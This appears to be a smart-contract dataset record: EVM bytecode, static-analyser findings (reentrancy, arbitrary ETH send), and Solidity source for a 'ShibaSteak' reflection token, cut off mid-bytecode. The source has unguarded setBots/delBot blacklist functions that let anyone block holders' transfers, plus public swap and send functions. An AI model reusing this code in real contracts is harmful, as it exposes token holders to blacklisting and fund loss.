0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102df578063b515566a146102ff578063c3c8cd801461031f578063dd62ed3e14610334578063e8078d941461037a57600080fd5b8063715018a6146102595780638da5cb5b1461026e57806395d89b41146102965780639e78fb4f146102ca57600080fd5b8063273123b7116100d1578063273123b7146101ca578063313ce567146102085780636fc3eaec1461022457806370a082311461023957600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c43756c7420536869622041706560981b60208201525b60405161014d919061169a565b60405180910390f35b34801561016257600080fd5b50610176610171366004611552565b61038f565b604051901515815260200161014d565b34801561019257600080fd5b50662386f26fc100005b60405190815260200161014d565b3480156101b657600080fd5b506101766101c5366004611511565b6103a6565b3480156101d657600080fd5b506102066101e536600461149e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561021457600080fd5b506040516009815260200161014d565b34801561023057600080fd5b5061020661040f565b34801561024557600080fd5b5061019c61025436600461149e565b61041c565b34801561026557600080fd5b5061020661043e565b34801561027a57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a257600080fd5b5060408051808201909152600b81526a43554c545348494241504560a81b6020820152610140565b3480156102d657600080fd5b506102066104bb565b3480156102eb57600080fd5b506101766102fa366004611552565b6106b4565b34801561030b57600080fd5b5061020661031a36600461157e565b6106c1565b34801561032b57600080fd5b506102066107eb565b34801561034057600080fd5b5061019c61034f3660046114d8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038657600080fd5b50610206610801565b600061039c3384846109e3565b5060015b92915050565b60006103b3848484610b07565b610405843361040085604051806060016040528060288152602001611878602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610df3565b6109e3565b5060019392505050565b4761041981610e2d565b50565b6001600160a01b0381166000908152600260205260408120546103a090610e67565b6000546001600160a01b031633146104715760405162461bcd60e51b8152600401610468906116ef565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e55760405162461bcd60e51b8152600401610468906116ef565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105203082662386f26fc100006109e3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561055957600080fd5b505afa15801561056d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059191906114bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d957600080fd5b505afa1580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061191906114bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561065957600080fd5b505af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069191906114bb565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b600061039c338484610b07565b60005b81518110156107e757600c5482516001600160a01b03909116908390839081106106f0576106f0611836565b60200260200101516001600160a01b0316141580156107415750600d5482516001600160a01b039091169083908390811061072d5761072d611836565b60200260200101516001600160a01b031614155b80156107785750306001600160a01b031682828151811061076457610764611836565b60200260200101516001600160a01b031614155b156107d55760016006600084848151811061079557610795611836565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806107df81611805565b9150506106c4565b5050565b60006107f63061041c565b905061041981610ee4565b6000546001600160a01b0316331461082b5760405162461bcd60e51b8152600401610468906116ef565b600c546001600160a01b031663f305d71947306108478161041c565b60008061085c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108bf57600080fd5b505af11580156108d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f8919061166c565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561096257600080fd5b505af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610419919061164a565b60006109dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106d565b9392505050565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610468565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610468565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610468565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610468565b60008111610c2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610468565b6001600160a01b03831660009081526006602052604090205460ff16158015610c7157506001600160a01b03821660009081526006602052604090205460ff16155b610c7a57600080fd5b60046009819055600a556000546001600160a01b03848116911614801590610cb057506000546001600160a01b03838116911614155b15610de357600d546001600160a01b038481169116148015610ce05750600c546001600160a01b03838116911614155b8015610d0557506001600160a01b03821660009081526005602052604090205460ff16155b15610d1957600e54811115610d1957600080fd5b600c546001600160a01b03848116911614801590610d5057506001600160a01b03831660009081526005602052604090205460ff16155b15610d7657600d546001600160a01b0383811691161415610d765760046009819055600a555b6000610d813061041c565b600d54909150600160a81b900460ff16158015610dac5750600d546001600160a01b03858116911614155b8015610dc15750600d54600160b01b900460ff165b15610de157610dcf81610ee4565b478015610ddf57610ddf47610e2d565b505b505b610dee83838361109b565b505050565b60008184841115610e175760405162461bcd60e51b8152600401610468919061169a565b506000610e2484866117ee565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107e7573d6000803e3d6000fd5b6000600754821115610ece5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610468565b6000610ed86110a6565b90506109dc838261099a565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2c57610f2c611836565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f8057600080fd5b505afa158015610f94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb891906114bb565b81600181518110610fcb57610fcb611836565b6001600160a01b039283166020918202929092010152600c54610ff191309116846109e3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061102a908590600090869030904290600401611724565b600060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6000818361108e5760405162461bcd60e51b8152600401610468919061169a565b506000610e2484866117ad565b610dee8383836110c9565b60008060006110b36111c0565b90925090506110c2828261099a565b9250505090565b6000806000806000806110db876111fe565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061110d908761125b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461113c908661129d565b6001600160a01b03891660009081526002602052604090205561115e816112fc565b6111688483611346565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111ad91815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc100006111da828261099a565b8210156111f557505060075492662386f26fc1000092509050565b90939092509050565b600080600080600080600080600061121b8a600954600a5461136a565b925092509250600061122b6110a6565b9050600080600061123e8e8787876113bf565b919e509c509a509598509396509194505050505091939550919395565b60006109dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df3565b6000806112aa8385611795565b9050838110156109dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610468565b60006113066110a6565b90506000611314838361140f565b30600090815260026020526040902054909150611331908261129d565b30600090815260026020526040902055505050565b600754611353908361125b565b600755600854611363908261129d565b6008555050565b6000808080611384606461137e898961140f565b9061099a565b90506000611397606461137e8a8961140f565b905060006113af826113a98b8661125b565b9061125b565b9992985090965090945050505050565b60008080806113ce888661140f565b905060006113dc888761140f565b905060006113ea888861140f565b905060006113fc826113a9868661125b565b939b939a50919850919650505050505050565b60008261141e575060006103a0565b600061142a83856117cf565b90508261143785836117ad565b146109dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610468565b803561149981611862565b919050565b6000602082840312156114b057600080fd5b81356109dc81611862565b6000602082840312156114cd57600080fd5b81516109dc81611862565b600080604083850312156114eb57600080fd5b82356114f681611862565b9150602083013561150681611862565b809150509250929050565b60008060006060848603121561152657600080fd5b833561153181611862565b9250602084013561154181611862565b929592945050506040919091013590565b6000806040838503121561156557600080fd5b823561157081611862565b946020939093013593505050565b6000602080838503121561159157600080fd5b823567ffffffffffffffff808211156115a957600080fd5b818501915085601f8301126115bd57600080fd5b8135818111156115cf576115cf61184c565b8060051b604051601f19603f830116810181811085821117156115f4576115f461184c565b604052828152858101935084860182860187018a101561161357600080fd5b600095505b8386101561163d576116298161148e565b855260019590950194938601938601611618565b5098975050505050505050565b60006020828403121561165c57600080fd5b815180151581146109dc57600080fd5b60008060006060848603121561168157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156116c7578581018301518582016040015282016116ab565b818111156116d9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117745784516001600160a01b03168352938301939183019160010161174f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117a8576117a8611820565b500190565b6000826117ca57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156117e9576117e9611820565b500290565b60008282101561180057611800611820565b500390565b600060001982141561181957611819611820565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461041957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085e7cc6a5dbbf76ce3771aa5a204a2c26e336a200479390a408c8e838964513464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,960
0xfd98ca6546267E6318CfB1CD9C204F01Fc1A1ABA
// SPDX-License-Identifier: UNLICENSED /** https://t.me./shibasteakentry **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibaSteak is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Shiba Steak"; string private constant _symbol = "SHIBASTEAK"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.mul(15).div(1000); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); _feeAddr1 = 7; _feeAddr2 = 5; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { // buy require(amount <= _maxTxAmount); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { if(to == uniswapV2Pair){ _feeAddr1 = 7; _feeAddr2 = 5; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function createPair() external onlyOwner { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiquidity() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102dd578063b515566a146102fd578063c3c8cd801461031d578063dd62ed3e14610332578063e8078d941461037857600080fd5b8063715018a6146102585780638da5cb5b1461026d57806395d89b41146102955780639e78fb4f146102c857600080fd5b8063273123b7116100d1578063273123b7146101c9578063313ce567146102075780636fc3eaec1461022357806370a082311461023857600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a536869626120537465616b60a81b60208201525b60405161014b919061149c565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611516565b61038d565b604051901515815260200161014b565b34801561019057600080fd5b5067016345785d8a00005b60405190815260200161014b565b3480156101b557600080fd5b506101746101c4366004611542565b6103a4565b3480156101d557600080fd5b506102056101e4366004611583565b6001600160a01b03166000908152600660205260409020805460ff19169055565b005b34801561021357600080fd5b506040516009815260200161014b565b34801561022f57600080fd5b5061020561040d565b34801561024457600080fd5b5061019b610253366004611583565b61041a565b34801561026457600080fd5b5061020561043c565b34801561027957600080fd5b506000546040516001600160a01b03909116815260200161014b565b3480156102a157600080fd5b5060408051808201909152600a8152695348494241535445414b60b01b602082015261013e565b3480156102d457600080fd5b506102056104b9565b3480156102e957600080fd5b506101746102f8366004611516565b6106e0565b34801561030957600080fd5b506102056103183660046115b6565b6106ed565b34801561032957600080fd5b50610205610817565b34801561033e57600080fd5b5061019b61034d36600461167b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038457600080fd5b5061020561082d565b600061039a338484610a73565b5060015b92915050565b60006103b1848484610b97565b61040384336103fe8560405180606001604052806028815260200161187d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e8d565b610a73565b5060019392505050565b4761041781610ec7565b50565b6001600160a01b03811660009081526002602052604081205461039e90610f01565b6000546001600160a01b0316331461046f5760405162461bcd60e51b8152600401610466906116b4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e35760405162461bcd60e51b8152600401610466906116b4565b600d54600160a01b900460ff161561053d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610579308267016345785d8a0000610a73565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105db91906116e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610628573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064c91906116e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610699573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106bd91906116e9565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b600061039a338484610b97565b60005b815181101561081357600c5482516001600160a01b039091169083908390811061071c5761071c611706565b60200260200101516001600160a01b03161415801561076d5750600d5482516001600160a01b039091169083908390811061075957610759611706565b60200260200101516001600160a01b031614155b80156107a45750306001600160a01b031682828151811061079057610790611706565b60200260200101516001600160a01b031614155b15610801576001600660008484815181106107c1576107c1611706565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061080b81611732565b9150506106f0565b5050565b60006108223061041a565b905061041781610f7e565b6000546001600160a01b031633146108575760405162461bcd60e51b8152600401610466906116b4565b600c546001600160a01b031663f305d71947306108738161041a565b6000806108886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610915919061174b565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104179190611779565b6000826000036109ba5750600061039e565b60006109c6838561179b565b9050826109d385836117ba565b14610a2a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b6000610a2a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f8565b6001600160a01b038316610ad55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610b365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b60008111610cbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b6001600160a01b03831660009081526006602052604090205460ff16158015610d0157506001600160a01b03821660009081526006602052604090205460ff16155b610d0a57600080fd5b60076009556005600a556000546001600160a01b03848116911614801590610d4057506000546001600160a01b03838116911614155b15610e7d57600d546001600160a01b038481169116148015610d705750600c546001600160a01b03838116911614155b8015610d9557506001600160a01b03821660009081526005602052604090205460ff16155b15610da957600e54811115610da957600080fd5b600c546001600160a01b03848116911614801590610de057506001600160a01b03831660009081526005602052604090205460ff16155b15610e0657600d546001600160a01b0390811690831603610e065760076009556005600a555b6000610e113061041a565b600d54909150600160a81b900460ff16158015610e3c5750600d546001600160a01b03858116911614155b8015610e515750600d54600160b01b900460ff165b15610e7b57610e5f81610f7e565b476706f05b59d3b20000811115610e7957610e7947610ec7565b505b505b610e88838383611126565b505050565b60008184841115610eb15760405162461bcd60e51b8152600401610466919061149c565b506000610ebe84866117dc565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610813573d6000803e3d6000fd5b6000600754821115610f685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610466565b6000610f72611131565b9050610a2a8382610a31565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc657610fc6611706565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561101f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104391906116e9565b8160018151811061105657611056611706565b6001600160a01b039283166020918202929092010152600c5461107c9130911684610a73565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110b59085906000908690309042906004016117f3565b600060405180830381600087803b1580156110cf57600080fd5b505af11580156110e3573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600081836111195760405162461bcd60e51b8152600401610466919061149c565b506000610ebe84866117ba565b610e88838383611154565b600080600061113e61124b565b909250905061114d8282610a31565b9250505090565b6000806000806000806111668761128b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061119890876112e8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111c7908661132a565b6001600160a01b0389166000908152600260205260409020556111e981611389565b6111f384836113d3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123891815260200190565b60405180910390a3505050505050505050565b600754600090819067016345785d8a00006112668282610a31565b8210156112825750506007549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006112a88a600954600a546113f7565b92509250925060006112b8611131565b905060008060006112cb8e87878761144c565b919e509c509a509598509396509194505050505091939550919395565b6000610a2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e8d565b6000806113378385611864565b905083811015610a2a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b6000611393611131565b905060006113a183836109a8565b306000908152600260205260409020549091506113be908261132a565b30600090815260026020526040902055505050565b6007546113e090836112e8565b6007556008546113f0908261132a565b6008555050565b6000808080611411606461140b89896109a8565b90610a31565b90506000611424606461140b8a896109a8565b9050600061143c826114368b866112e8565b906112e8565b9992985090965090945050505050565b600080808061145b88866109a8565b9050600061146988876109a8565b9050600061147788886109a8565b905060006114898261143686866112e8565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156114c9578581018301518582016040015282016114ad565b818111156114db576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461041757600080fd5b8035611511816114f1565b919050565b6000806040838503121561152957600080fd5b8235611534816114f1565b946020939093013593505050565b60008060006060848603121561155757600080f